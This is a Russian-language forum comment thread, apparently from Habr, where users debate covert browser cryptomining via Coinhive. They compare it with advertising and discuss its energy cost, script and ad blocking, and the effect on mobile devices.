            Я об этом написал отдельно. Это может быть плохой UX. Т.к. функция активна, то юзер считает, что его сообщение будет доставлено и прочитано, что есть какой-то человек, который ежедневно это просматривает. А если никто не отреагировал, то негатив куда? — создателям сайта.


  1. doga
    24.09.2017 18:50

    Уж лучше майнить, чем обогревать планету впустую за счет «тяжелого» флеша от уникального коллектива дизайнеров моргающей рекламы. Да, флэш умирает и прореживается, но и «тяжелым» он бывал не у всех и не всегда.


    1. Angerslave
      24.09.2017 20:34
      +7

      ИМХО, с глобальной точки зрения майнить — худшее, как можно потратить энергию. Выхлоп с этого мероприятия будет околонулевым, зато энергии сожрётся уйма. Тем более они делают это на CPU. Лучше бы условным Folding'ом занимались — хоть какая (глобальная) польза для планеты.


      1. doga
        24.09.2017 21:42
        -2

        не ИМХО: с глобальной точки зрения про биткоин до сих пор нет ответа на вопрос «кому выгодно?». Даже его создателя до сих пор не приперли к стенке деанона, хотя про то, что «их оставалось только трое», было уже несколько публикаций здесь же.
        Т.е., имхо тут все точно так же, как и с монетизацией Телеграм: пока нет ответа на правомерный вопрос «откуда [будут] деньги, Зин?», доверять безоглядно таким проектам — просто глупо. А теперь еще и Розенберг разворошил гнездо, а до того Перекопский тоже много интересного наговорил.


      1. TimsTims
        25.09.2017 12:00

        > Тем более они делают это на CPU
        Некоторые виды криптовалют эффективно майнятся только на CPU.


        1. Angerslave
          25.09.2017 12:13

          Это уже больше на лотерею начинает походить. Или на МММ.


        1. qw1
          25.09.2017 13:04

          только на CPU
          Например? Тот же Monero (XMR), который задумывался как CPU-валюта, сейчас научились майнить на GPU с несколько раз более высоким хешрейтом, чем на CPU.


    1. sashabeep
      25.09.2017 10:12
      -1

      Да когда же вы уже все подохните-то. Флеша-то уже 3 года как нету, а новомодный гипертекстовый векторный html5 чисто для баннеров тормозит мощнее и качественнее в 2 раза минимум


      1. Lennonenko
        27.09.2017 12:41

        где флэша нет?
        в файрфоксе с демандным флэшом очень хорошо видно, как его нет


        1. sashabeep
          27.09.2017 12:46

          Не знаю, какой степени винтажности сайтами вы пользуетесь, но на данный момент ни одна баннерная сеть не принимает SWF уже минимум 2 года


          1. Lennonenko
            27.09.2017 13:30

            я хз, кто и зачем пытается показывать флэш, но FF постоянно выдаёт запросы на включение
            image
            не рисует картинку почему-то prntscr.com/gq9waa


            1. Zenitchik
              27.09.2017 13:57

              Ээ? Мне почему-то не выдаёт. За последний год всего пару раз этот запрос видел.


            1. sashabeep
              27.09.2017 14:35

              Как видно из вашего скрина, баннер отображается и вовсе без флеша. Потому что Яндекс не принимает баннеры во Флеше.

              Флеш стоит «включать по запросу», не грузится вообще ничего


              Так что весьма вероятно, что флеш используется в качестве фаллбека для воспроизведения, например, звука входящего сообщения или отрисовки изображений в формате, не поддерживаемом вашим браузером. Обычно это ролик размером 1 на 1 пиксель, у которого вообще нет графики и он находится в скрытом слое.

              При переключении в «всегда включать» — так и есть. ИМХО, эти ролики для детекта флеша для статистики или иных внутренних дел.


              Причем тут баннеры?


  1. maxzh83
    24.09.2017 18:58
    +3

    В целом идея с майнингом на сайте не такая и плохая при цивилизованном подходе. Для некоторых категорий ресурсов подойдет гораздо лучше рекламы. Проблема только в обеспечении цивилизованности. Было бы неплохо пользователю в браузере иметь возможность ограничивать ресурсы компьютера, которые отдаются для майнига или что-то похожее.


    1. Meklon Автор
      24.09.2017 18:59
      +1

      Проблема в том, что самые наглые в выигрыше будут. Те, кто не будет соблюдать меру и будет гнаться за одноразовой прибылью.


      1. furrya_black
        24.09.2017 21:47

        Те, кто гонится за одноразовой прибылью как раз таки проиграют в перспективе. Не потому что наглые, а потому что глупые =)

        Вот.


        1. d-stream
          25.09.2017 00:53

          Вопрос масштабов. Если перспектива — 100 лет, то могут и пренебречь -)


      1. romxx
        24.09.2017 23:12
        +3

        «Трагедия общин» же, в чистом виде практически.


      1. maxzh83
        25.09.2017 10:53

        Именно поэтому у пользователя должен быть удобный и понятный инструмент для контроля за выделением ресурсов под майнинг. Грубо говоря, пользователь может задать в браузере «всем сайтам выделять не более n процентов ресурсов на майнинг», избранным сайтам задать выше и т.д.


        1. Arris
          26.09.2017 22:51
          +2

          Может быть не будем зацикливаться на майнинге?

          Браузеру разрешено получать у процессора не более N процентов CPU для активной вкладки и M вообще.

          А майнинг там или флэш — дело десятое.


  1. DistortNeo
    24.09.2017 21:01
    -3

    Уже 5-й год как пользуюсь плагином NoScript. Меня всё ещё можно называть параноиком?


    1. m8rge
      24.09.2017 21:47
      +2

      Как вообще можно серфить интернет без js? Даже если, допустим, меню на сайте не работает, вы включаете js на всем сайте, со всеми баннерами и майнерами?


      1. DistortNeo
        24.09.2017 22:01

        > Как вообще можно серфить интернет без js?

        Да как-то без проблем. Просто вручную разрешаю только скрипты с определённых доменов — минимальное количество скриптов для функционирования сайта. В подавляющем большинстве случаев нежелательные скрипты грузятся со сторонних доменов, поэтому мой способ работает.

        Ну и второй уровень защиты в виде ABP (с ручным же фильтрами) никто не отменял.


        1. bopoh13
          26.09.2017 11:36

          i3-4160T; AVP8. На одной из машин FF53 с E10S очень сильно тормозил, появилась реклама. Смотрю, пропали все подписки и собственные фильтры. Хорошо, все шаги записаны. Совпадение?


      1. Tallefer
        24.09.2017 22:01
        +5

        Ну так это именно что «серфить», проглядывать, не теряя время на эти скрипты и баннеры. А на интересных сайтах можно и задержаться, а то и рекламу посмотреть даже. :)
        Земной поклон тем вебмастерам, которые строят все важные динамические вещи, типа меню, на голом CSS+HTML, позволяя просто наслаждаться контентом, ну а лучи диареи тем, кто использует особо упоротые шкуры для CMS, без скриптов показывающие только белый экран. %)


        1. DistortNeo
          24.09.2017 22:13

          За такое вас заклюют адепты секты свидетелей изоморфного рендеринга и прочие ангулярщики.


          1. Tallefer
            24.09.2017 22:28
            +2

            Наверняка. :)


  1. quwy
    25.09.2017 00:47
    +6

    Когда ресурсы процессора на 100% жрались всякими падающими снежинками, никто и не чесался. А тут вдруг озаботились. Проблеме лет 15 уже, просто раньше это было результатом дурости, а сегодня — жадности.


  1. Londoner
    25.09.2017 02:09
    -4

    А нельзя ли 90% того, что сейчас делается на JavaScript перенести в следующий стандарт HTML, а в новых версиях браузеров по умолчанию отключать JavaScript? Глядишь электроэнергии вполовину меньше потребляться будет, глобальное потепление отступит и смартфоны не нужно будет каждые 5 минут заряжать. У меня 99% вкладок в браузере — это текст, картинки и формы, для чего там JavaScript, жрущий гигабайты и гигагерцы? Плюс ну не научились многие во фронтенд сообществе искать максимальный элемент в массиве кроме как его сортировкой, причём сортируют сами и пузырьком, ну бывает. А тут ещё и майнеры… Ах да, я забыл, у нас же наоборот, JavaScript теперь ещё и в бэкэнде…


    1. Armleo
      25.09.2017 10:47

      Плюс ну не научились многие во фронтенд сообществе искать максимальный элемент в массиве кроме как его сортировкой, причём сортируют сами и пузырьком, ну бывает.

      При чем тут это? Гомно-кодеры есть везде.


      Ах да, я забыл, у нас же наоборот, JavaScript теперь ещё и в бэкэнде…

      И? Так можно рассуждать про все, что не ассемблер.


      А тут ещё и майнеры…

      … которые написаны на WebAssembly


      А нельзя ли 90% того, что сейчас делается на JavaScript перенести в следующий стандарт HTML, а в новых версиях браузеров по умолчанию отключать JavaScript?

      Нельзя. Динамичные страницы например это вообще сложная тема...


      1. Londoner
        26.09.2017 10:30
        -2

        При чем тут это? Гомно-кодеры есть везде.

        Но вот распределены они почему-то неравномерно. Надеюсь, Вы не будете спорить, в какой области их больше?

        И? Так можно рассуждать про все, что не ассемблер.

        Почитайте тут

        А тут ещё и майнеры…
        … которые написаны на WebAssembly

        Значит по умлочанию блочим любой активный контент. Если пользователю реально нужен гавнокод на этой странице, он внесёт её в белый список.

        Нельзя. Динамичные страницы например это вообще сложная тема…

        Что-то мне подсказывает, что можно уложиться в десяток-другой типовых сценариев.


    1. Lennonenko
      27.09.2017 12:46

      А нельзя ли 90% того, что сейчас делается на JavaScript перенести в следующий стандарт HTML

      тогда это будет не htmL
      и начнут на нём писать виртуалки и майнеры


      1. Londoner
        27.09.2017 12:53

        Под переносом в HTML я имел ввиду покрытие 90% типовых вещей, которые сейчас делаются в JS, новыми тегами. А писать императивный код не должно получаться, иначе опять нагавнокодят и намайнят.


        1. qw1
          27.09.2017 16:20

          На js делается именно логика приложения. Такая, как создать ajax-запрос, получить ответ, модифицировать DOM страницы. Если делать не императивно, выйдет очень эзотерически.


  1. arvitaly
    25.09.2017 03:28
    +6

    Нужно просто скармливать страницы гугловскому пауку, он же JS обрабатывает, вот пусть майнит, тоже ведь нахаляву контент получает.


  1. helgisbox
    25.09.2017 08:58

    Если его вместо рекламы включат — будет печаль. На cnews с включенным adblocker-ом не зайдешь. Также поступят и с таким майнингом. Им без разницы с чего получать доход: с рекламы или с другим способом. И это только начало. Рядовые пользователи будут только за электричество платить.


    1. vikarti
      25.09.2017 13:22

      Одна проблема — если сайт хочет 100% cpu то вопрос возникнет — а какого именно cpu? И что мешает владельцу i7 сказать что у него одноядерный атом (и шейпить соответственно)


    1. vlivyur
      25.09.2017 16:03
      +2

      www.cnews.ru — этот? А в чём проблема захода туда с блокировщиком?


      1. helgisbox
        26.09.2017 09:01

        Мессадж на полэкрана красный с просьбой отключить блокировщик. Если есть способы как избавиться от таких сообщений, прошу подсказать.


        1. vlivyur
          26.09.2017 11:29

          Не вижу такого. Сработали такие правила:
          http://counter.yadro.ru/*
          http://content.rbc.medialand.ru/t*
          http://mc.yandex.ru/*
          http://count.*
          http://*.google-analytics.com/*


  1. sibirier
    25.09.2017 09:46

    думаю, что если в такие скрипты вставлять не коды майнеров, а коды расчетов математических и физических, полезных для науки. полезных для, например, NASA. будет польза для человечества. а не только какому-то предпренимателю


    1. Zenitchik
      26.09.2017 13:27

      Primecoin.


    1. borec1
      26.09.2017 13:30
      +1

      Полезный для NASA — это как раз каким-то предпринимателям, а совсем не науке и, тем более, не человечеству.


  1. cld333
    25.09.2017 09:47
    +2

    При должном контроле такого подхода все выглядит очень приятно.Например договорится что сайт нагружает ваш процессор на 10%, в некоторых случаях это даже менее ресурсозатратно чем реклама. НО мне кажется что такая тенденция просто поднимет цену на рекламу и все опять вернутся к старому подходу.

    Что мне кажется действительно хорошей идеей, так это продажа софта за «криптовремя».Например я хочу себе лицензию adobe photoshop, платить не хочу, копания говорит мне ок держи лицензию, но мы будем майнить с твоего ПК до того момента пока не отработаем свои деньги.Так же добавить функцию регулировки нагрузки или выбора времени в которое программа будет майнить.В результате мой ПК по стоит пару ночей включённым, я получаю софт бесплатно, а разработчики получат свою прибыль.

    Может пример с фотошопом не самый удачный, но продавать игры за «криптовпемя» можно спокойно, так как железо у геймеров достаточно неплохое.


    1. helgisbox
      25.09.2017 10:12

      Скорее всего цены на такой майнинг сильно опустят, чтобы за лицензию платить не пару ночей, а несколько месяцев.


      1. Angerslave
        25.09.2017 10:25

        А сколько можно намайнить на пару ночей?


        1. alexeykuzmin0
          25.09.2017 17:17

          Вроде более или менее точная оценка — при майнинге на GPU на электричество уходит около 10% от заработанного. Так что за пару ночей на хорошей современной видеокарте можно намайнить рублей 10.


          1. Angerslave
            25.09.2017 20:06

            Насколько я знаю, средняя видеокарта майнера отличается от средней видеокарты среднего посетителя среднего сайта. На порядок-два (учитывая, что у майнеров обычно несколько сразу стоят).


            1. qw1
              26.09.2017 00:35

              Да, но она и энергии кушает меньше. Поэтому оценка остаётся верной (в пределах одного порядка).


              1. Angerslave
                26.09.2017 09:58

                Чем слабее видеокарта (тем более если она одна), тем больше приходится питать «паразитов» — процессор, МП, винт(ы), тот же монитор. К тому же, у многих для браузинга используется интегрированный в процессор видеочип, что ещё сильнее снижает потенциальный выхлоп.


    1. iproger
      25.09.2017 16:36

      Чтобы намайнить gta 5 нужно манить месяц на нескольких видеокартах.


  1. Klestofer
    25.09.2017 09:47

    А можно ли сделать такое же, но чтобы использовались ресурсы видеокарты? Например, через WebGL? Возможно, будет менее заметно.


    1. Armleo
      25.09.2017 10:50

      Есть. google://miner%20webgl


  1. mrsweet
    25.09.2017 09:47

    Стоит отметить, что майнер всё же не встроен в счетчик Метрики, а лишь находится по соседству.


    1. Meklon Автор
      25.09.2017 09:47

      Ок, принято)


  1. twesd
    25.09.2017 10:24
    +1

    Сайт coin-hive.com зарегистрирован у key-systems.net. А это германский провайдер.
    Я думаю всё же поламали сайт, иначе скрипт удобней тянуть с другими ресурсами сайта.


    1. firk
      25.09.2017 12:33
      +2

      Причём тут это? Coinhive это веб-майнинговый сервис, подключить его себе может кто угодно как с взломом так и без. Копировать для этого к себе какие-то скрипты не нужно, нужно просто вставить кусок html-кода в свой сайт.


  1. Steely
    25.09.2017 11:01

    Не можешь победить — возглавь!

    Просто надо браузерам встроить систему с настройками для майнинга на конкретных сайтах ( как всплывающие сообщения).

    Сайт.ru запрашивает возможность майнинга на ваших процессорах (50% загрузки) сроком на 1 час. Разрешить/Запретить.


  1. firk
    25.09.2017 12:43
    -3

    Не пойму, почему все так переполошились. Не вижу разницы между этими майнерами и просто тормозным рекламным баннером — от обоих одинаковый результат в плане лагов, оба одинаково режутся noscript'ом или спаморезками — вобщем, ничего нового. Только этот в отличие от баннера не создает визуальное раздражение, если его не порезать.


    1. JoeyBlack
      25.09.2017 15:09

      он наверное сильнее загружает CPU


  1. vconst
    25.09.2017 13:00

    Так чем все закончилось с этим сайтом? Они починили и выпилили майнер, или все по старому?


    1. Meklon Автор
      25.09.2017 13:19

      Так и осталось. На звонки не реагируют.


      1. vconst
        25.09.2017 13:22

        Надо их покарать…


        1. Arris
          26.09.2017 23:11

          Например, натравить на них роскомнадзор. Хоть какая-то польза будет от него.


  1. Cheater
    25.09.2017 13:16
    +3

    Лично мне бы очень хотелось, чтобы майнинг на JS был умерщвлён быстро, мучительно и без обсуждений. Майнинг, даже если он с благими целями, — это не задача браузера и я не буду предоставлять ресурсы своего ПК для подобной деятельности никому без исключения. Точка.


    1. firk
      25.09.2017 13:53

      Ну так не предоставляйте. Как будто вас заставляют запускать эти скрипты. А вот насчёт "умерщвления js-майнинга" это у вас пустые надежды, как мне кажется.


  1. iit
    25.09.2017 14:50
    +1

    Тихий ужас для мобильников и планшетов, ладно десктопы и ноуты где можно поставить блокировщики,NoScript, прописать список dns в старом добром bind на роутере или в /etc/hosts.


    На мобилке мало адекватных блокировщиков, без рута фиг настроишь iptables и dns, о майнинге узнаешь только тогда, когда батарея кончиться, посмотреть что напихал сайт в твой мобильный хром или лису сложновато без кое-каких инструментов. Так что ждем веселье для бедных пользователей смартфонов когда лагать будет даже оболочка.


    1. TimsTims
      25.09.2017 15:01

      Насколько мне известно, Chrome на мобильных сильно ограничивает потребление ресурсов для фоновых вкладок. Настолько, что сначала таймеры работают медленнее, а затем и вовсе всё отключается.


      1. Zenitchik
        25.09.2017 15:15

        Сафари на мак-устройствах ставит фоновые вкладки на паузу. Лично столкнулся.


      1. iit
        25.09.2017 18:57

        Пусть даже и ограничивает, одной активной вкладки с майнером и 5-и которые в фоне "приторможенные" один фиг могут посадить батарею, а обычный юзверь может открыть и все 20-50 вкладок (видел у жены брата и у своей матери).


        Фанатам лиса даже на мобиле (вроде меня, подкупили режим чтения — он ИМХО удобен даже для хабра) походу точно придется страдать — и так не держу больше 10 вкладок а если с майнингом то вообще полный лисец будет.


        Еще интересно как на этот майнер отреагируют старые устройства с устаревшим хромом или вообще стоковым webview который не хром (как на моей старой ZTE) учитывая что они бывают даже при звонках виснут уже.


        1. Zenitchik
          25.09.2017 19:17

          Мне случалось и 400 (четыреста) открывать. Это, правда, было в эпоху лёгких страниц...


  1. Mispon
    25.09.2017 16:36

    Насчет прыжков по страницам. Во время пика популярности SPA этот скриптик выглядит еще привлекательнее.


  1. unwrecker
    25.09.2017 16:43
    -1

    Ghostery вообще не для этого, а RequestPolicy ломает 90% сайтов. Настраивать под каждый — ну его нафиг. Ublock рулит


  1. unwrecker
    25.09.2017 16:44
    -1

    Ghostery вообще не для этого, а RequestPolicy ломает 90% сайтов. Настраивать под каждый — ну его нафиг. Ublock решает.


  1. mortimoro
    25.09.2017 17:12

    Это как минимум неэтично по отношению к пользователям. Такие сайты банить надо или хотя бы поисковики должны снижать рейтинг в поиске.


    1. Zenitchik
      25.09.2017 18:05
      -1

      А за рекламу почему не надо? Чем майнинг неэтичнее рекламы?


      1. alexeykuzmin0
        25.09.2017 18:16

        Дороже для пользователя


        1. Zenitchik
          25.09.2017 18:22

          По электроэнергии?


          1. alexeykuzmin0
            25.09.2017 18:46
            +1

            Да, по электроэнергии. Ну и, наверное, неприятно держать на коленях раскаленный ноут. Да и батарею вмиг посадит.


            1. firk
              26.09.2017 06:45
              -2

              По мне, так модель "вы нам ничего не платите, но мы тут будем втихую вами торговать" одинаково включает себя как большинство рекламы так и описанный в этой статье майнинг, и модель эта глубоко аморальна, и именно поэтому с ней стоит бороться.
              Те же, кто печётся только об электроэнергии и прочих "потребительских качествах" и готовы были жрать рекламу, по-моему заслуживают и майнеров и вообще любых манипуляций над своими устройствами со стороны тех, кому они уже отдались.


              1. alexeykuzmin0
                26.09.2017 13:15
                +3

                по-моему заслуживают и майнеров и вообще любых манипуляций
                А давайте вы не будете за других решать?
                Я вот, например, не блокирую рекламу потому, что ни один из сайтов, которые я посещаю хотя бы раз в год, не использует дикое ее количество или слишком навязчивых баннеров (собственно, самый агрессивный в плане рекламы из посещаемых мной сайтов — хабр).
                Но я категорически не согласен с тем, что тот факт, что я не блокирую рекламу, позволяет кому угодно майнить на моем ноуте, обжигая мне колени и уменьшая время работы от аккумулятора с полутора часов до 30-40 минут.


                1. firk
                  26.09.2017 13:47
                  -2

                  Вы просто закрываете глаза на механизм работы всей этой системы. Проследите направление денежных потоков и "одолжений" и всё станет очевидно. Владелец сайта так или иначе платит за его поддержку (арендуемый хостинг либо поддержка своего + разработка), владельцу сайта платят рекламодатели/майнеры.
                  В случае с майнерами всё очевидно — платите за их работу напрямую вы, деньгами за электричество и дискомфортом от перегретого ноута — это вы заметили и негодуете.
                  В случае с рекламодателями чуть сложнее — лично вы может и не платите, но так или иначе имеется расчёт на лоха, который поддастся рекламе и оплатит рекламодателю его расходы на рекламу, купив у него что-то. То есть, если не вдаваться в частности, то платят всё так же посетители сайта, просто более глупые (кто повёлся на рекламу) платят за всех.
                  Эту более сложную цепочку вы видимо до конца не проанализировали и поэтому не заметили всей её сути, которая ничем от майнеров не отличается, кроме, возможно, кпд.


                  1. alexeykuzmin0
                    26.09.2017 14:08
                    +2

                    Эту более сложную цепочку вы видимо до конца не проанализировали
                    Нет, я замечательно проанализировал всю эту цепочку.
                    Я периодически покупаю что-нибудь после клика по рекламе — если она достаточно персонализирована, то умудряется предлагать полезные вещи. Это не говоря уже об опосредованной пользе в виде ускорения экономики.

                    Но, собственно, даже если и принять тезис о том, что реклама — это тоже дискомфорт для пользователя и своеобразный вид оплаты, каким образом это подтверждает первое утверждение
                    по-моему заслуживают и майнеров и вообще любых манипуляций над своими устройствами
                    ?
                    Это типа как «если вы согласны купить машину за наличные рубли, то, по-моему, вы заслуживаете того, чтобы у вас отобрали все доллары на счетах»


                    1. firk
                      26.09.2017 16:17
                      -1

                      каким образом это подтверждает первое утверждение

                      Тут есть целых два обоснования.


                      1) Мне казалось, что когда кому-то что-то нужно, он не нуждается в рекламном подталкивании к покупке этой вещи, а сам её найдёт и выберет у кого собственно покупать. Вы же позволяете собой манипулировать, выбирать за вас что вам нужно (да, сами потом делаете итоговый отсев — это принять, это нет, но список составляете не вы), и называете это благом. Итого, раз вы согласны быть ведомым в данном взаимодействии, то не надо возмущаться, когда очередное решение "за вас" о ваших потребностях (дать вам майнер) вдруг выбилось из привычного ритма.


                      2) Участвуя в этой системе, толерантно к ней относясь, вы поддерживаете её не только для себя, а для всех. Потому как данная модель так называемой "монетизации" продолжает эксплуатироваться только потому, что есть такие пользователи, которые за неё платят, ходя по незапрошенным рекламам (иначе говоря, спаму). И если даже вам нравится такое положение дел, кому-то другому оно может не нравиться (и думаю многим), а вы находитесь в числе тех, кто это положение дел поддерживает. В конце концов, думаю можно заказать себе персонально пачку рекламных баннеров для просмотра (вдруг там что-то полезное прорекламируют) — денег с вас за это не возьмут, а может даже и дадут (за просмотр), совсем не обязательно провоцировать не-рекламные сайты на их размещение у себя в принудительном порядке.


                      Это типа как «если вы согласны купить машину за наличные рубли, то, по-моему, вы заслуживаете того, чтобы у вас отобрали все доллары на счетах»

                      Нет, этот пример совсем не в тему. Покупка чего-то за рубли это не негативное действие (по крайней мере в моём понимании). Но кому-то может и негативное — тогда да, он может захотеть отобрать счета в отместку.


                      1. alexeykuzmin0
                        26.09.2017 16:54

                        1). Нет. Реклама позволяет мне узнать о новом товаре, о котором я раньше никогда не знал. Например: я хочу сходить с супругой поужинать в какое-нибудь место, где мы раньше не были. Но я не веду список ресторанов, где мы уже были и не слежу за открытиями новых заведений. Зато если я случайно увижу вывеску, которую раньше не замечал, вероятно, мы туда сходим. Или, например, в рассылке от LinkedIn я изредка нахожу вакансии, на которые требуется специалист с моими навыками на хорошую зарплату — вероятно, я схожу к ним на собеседование, даже если не планирую сейчас менять работу — мало ли, окажется что-то совсем замечательное.
                        В обоих этих случаях реклама решает вопрос более удобного ИНФОРМИРОВАНИЯ меня о существовании нового товара. По-вашему, разумный человек на моем месте должен постоянно мониторить весь рынок ресторанов и несколько раз в день искать в куче источников вакансии (не планируя сменить работу)?
                        И это не имеет ни малейшего отношения к вопросу принятия «за меня» какого-либо решения. Я против принятия решения «за меня» как в майнинге, так и при покупке какого-либо товара.

                        2). Реклама, вообще-то, решает очень важные общественные проблемы. Без нее мир был бы гораздо хуже.
                        Вот представьте себе: вы открыли ферму и хотите арбузы продавать. Сидите себе дома на 100 арбузах, а прибыли почему-то нет. Как прибыль получить? Нужно привлечь покупателя. Или вывеску сделать рядом с домом, или другу позвонить и предложить купить арбуз, или еще чего. И все это — виды рекламы. Без рекламы современная экономика просто не может существовать.

                        А пример тут очень даже в тему. Вы почему-то считаете, что раз я согласен на один способ оплаты (просмотр рекламы), причем осознанно (ибо с сайта с кучей баннеров я тупо уйду), то с какого-то перепугу я должен быть согласен и на другой способ оплаты (майнинг), причем без уведомления. В примере с автомобилем то же самое: я согласен лишь на один вид оплаты (наличные рубли), и лишь добровольно в пользу продавца автомобиля, а не на любой другой (безналичные доллары) в пользу третьих лиц без уведомления.


                        1. firk
                          27.09.2017 10:17

                          1) Не уводите тему в сторону. Я ничего не говорил против абстрактных "вывесок" и против абстрактной рекламы вообще. Я говорил против рекламы в том формате, как она сейчас используется большинством сайтов. Информирование — норм, плохо когда оно реализуется в роли паразита к другим услугам.


                          По-вашему, разумный человек на моем месте должен постоянно мониторить весь рынок ресторанов и несколько раз в день искать в куче источников вакансии (не планируя сменить работу)?

                          Ну так когда захотите — откроете справочник по ресторанам/вакансиям и найдёте что надо, выбрав из всего списка вариантов, а не из того, что вам подсунули.


                          2) Про вывески — уже ответил.


                          в пользу третьих лиц без уведомления.

                          Дело не в уведомлении, а в предварительном согласии. Мне кажется, что даже если вас уведомят о конфискации ваших счетов, вы не станете от этого поддерживать данную затею. А вот если спросят заранее — не хотите ли пожертвовать? — тогда совсем другое дело. И пусть лично вы предварительное согласие на получение рекламы дали (хоть у вас никто и не спрашивал, но если вас это устраивает, то ок), то остальные могли и не давать, а им всё равно её впаривают.


                          1. alexeykuzmin0
                            27.09.2017 13:21

                            1), 2). Принципиальной разницы между баннерами, вывесками и звонками другу нет — они все информируют. Я периодически заказываю новую пиццу чисто на попробовать, хожу на собеседования в компании, о которых ничего не знал, пока не увидел баннер о вакансии, заказываю банковские продукты и перехожу к другому интернет-провайдеру, если мне вдруг встречается что-то более эффективное (больше качество, ниже цена), чем то, чем я пользуюсь сейчас. А в свое время я сходил на тренинг к своему знакомому, опытному предпринимателю, узнав о том факте, что он его проводит, именно из баннера.

                            когда захотите — откроете справочник по ресторанам/вакансиям
                            Я всегда хочу найти что-то более эффективное, чем то, что у меня есть на сегодняшний день, но обычно это более эффективное просто отсутствует на рынке, поэтому нет никакого смысла в ежедневном перерывании всех справочников. А реклама позволяет мне узнать о том, в какой справочник глядеть. Ибо без нее я «не знаю, чего я не знаю».
                            Вот пример выше с тренингом по предпринимательскому делу — я был очень давно заинтересован в том, чтобы послушать пару слов на эту тему от опытного человека, которому я доверяю, и за очень небольшие деньги. Только вот такого человека никогда не было, и каждый день опрашивать всех знакомых предпринимателей на эту тему было бы глупо. А увидев баннер, я узнал, что теперь в моей доступности появилась возможность воспользоваться такой услугой, что я с радостью и сделал.

                            А насчет последнего абзаца — да, проблема предварительного согласия существует, и я допускаю, что может существовать множество тех, кто согласия на просмотр рекламы не давал. Но, на мой взгляд, тот факт, что я дал согласие на просмотр рекламы (кстати, есть сайты, где у меня запросили такое согласие и я его явно дал — скажем, stackoverflow), никоим образом не означает, что я давал согласие на майнинг.

                            Единственное, с чем я спорю — это с фразой
                            заслуживают и майнеров и вообще любых манипуляций над своими устройствами
                            Пусть каждый решает сам, что для него лучше, а что хуже. Для меня хуже майнинг.


  1. Skit25
    26.09.2017 17:07

    а) Делают качественный контент и размещают рекламу, чтобы окупить траты.
    б) Делают площадки для сбыта рекламного контента, под видом см. пункт а.


  1. Fanta
    26.09.2017 23:18

    PW7FI1VfOmLOORjnVtJqS62MdJTJFiOl — это кошелек ??
    Где-то можно узнать сколько на него уже "накапало" ?


    1. darkdaskin
      27.09.2017 17:15

      Это некий site key, выдаваемый пулом. Впрочем, в Monero баланс чужого кошелька увидеть тоже нельзя (если владелец не опубликовал свой view key), т.к. все транзакции шифруются.


      1. Fanta
        27.09.2017 17:37

        какую инфу можно узнать по site key ??


        1. edge790
          27.09.2017 19:52

          никакую. это Public key который используется для индентифицации, на какой кошелек ты майнишь. Остальная информация хранится в Private Key который указан в личном кабинете на сайте, и про который написано что его нельзя никому показывать


    1. vildulv
      28.09.2017 12:27

      Нет, это не кошелёк. Это публичный API ключ сайта на который встроен скрипт, который регается в системе. И там же добавляется ключ кошелька, но он гораздо длиннее и так его никто не увидит.


  1. edge790
    27.09.2017 20:03

    А мне нравится идея. Для некоторых сайтов она очень даже хороша: ютуб, онлайн фильмы и сериалы, возможно музыка, если добавить ограничение на мощность майнинга. Онлайн игры.


    Согласитесь, если у вас просто так простаивает CPU, и у вас есть выбор посмотреть фильм с майнером, вместо раздражающей рекламы, то это неплохой вариант. Главное чтобы там была галочка мол "Я согласен что отдаю процессорную мощность" чтобы майнер включался только с разрешения.


    Вдобавок в статье не сказано про функционал предоставляемый этим же сервисом:


    • Captcha, которая работает на Proof-of-work — вместо "Выберите все знаки, чтобы доказать что вы не робот" вы говорите "помайни 1024 хеша"(например) — как итог — спаммерам невыгодно, а пользователям не приходится "Выбирать все изображения на которых изображены Дорожные Знаки/Вывески магазинов".
    • ShortLink — вместо шортлинка с рекламой — шортлинк с майнером. Тут смешанные чувства. Кому как удобнее.
    • Ну и сам майнер. Да он майнит в бекграунде, и это плохо. Но: у него настраивается количество ядер для майнинга, у него есть "учёт" хешей намайненых пользователем. Как результат: можно настроить "оплату" контента сайта в хешах. Например минута видео 2048 хешей. После этого майнер останавливается/считает хеши для следующей минуты.

    Я считаю это хорошей альтернативы для некоторых сайтов(про окупаемость молчу. Далеко не везде окупится + цены маленькие), потому что иногда загрузка CPU лучше AdWall'ов.


    ИМХО: Идея хорошая, но пока ещё сырая. Как добавят возможность частичной загрузки процессора, чтобы не отжирать весь CPU на 50 вкладок и сайты начнут делать ограничения хешей на пользователя — это будет лишь раздражать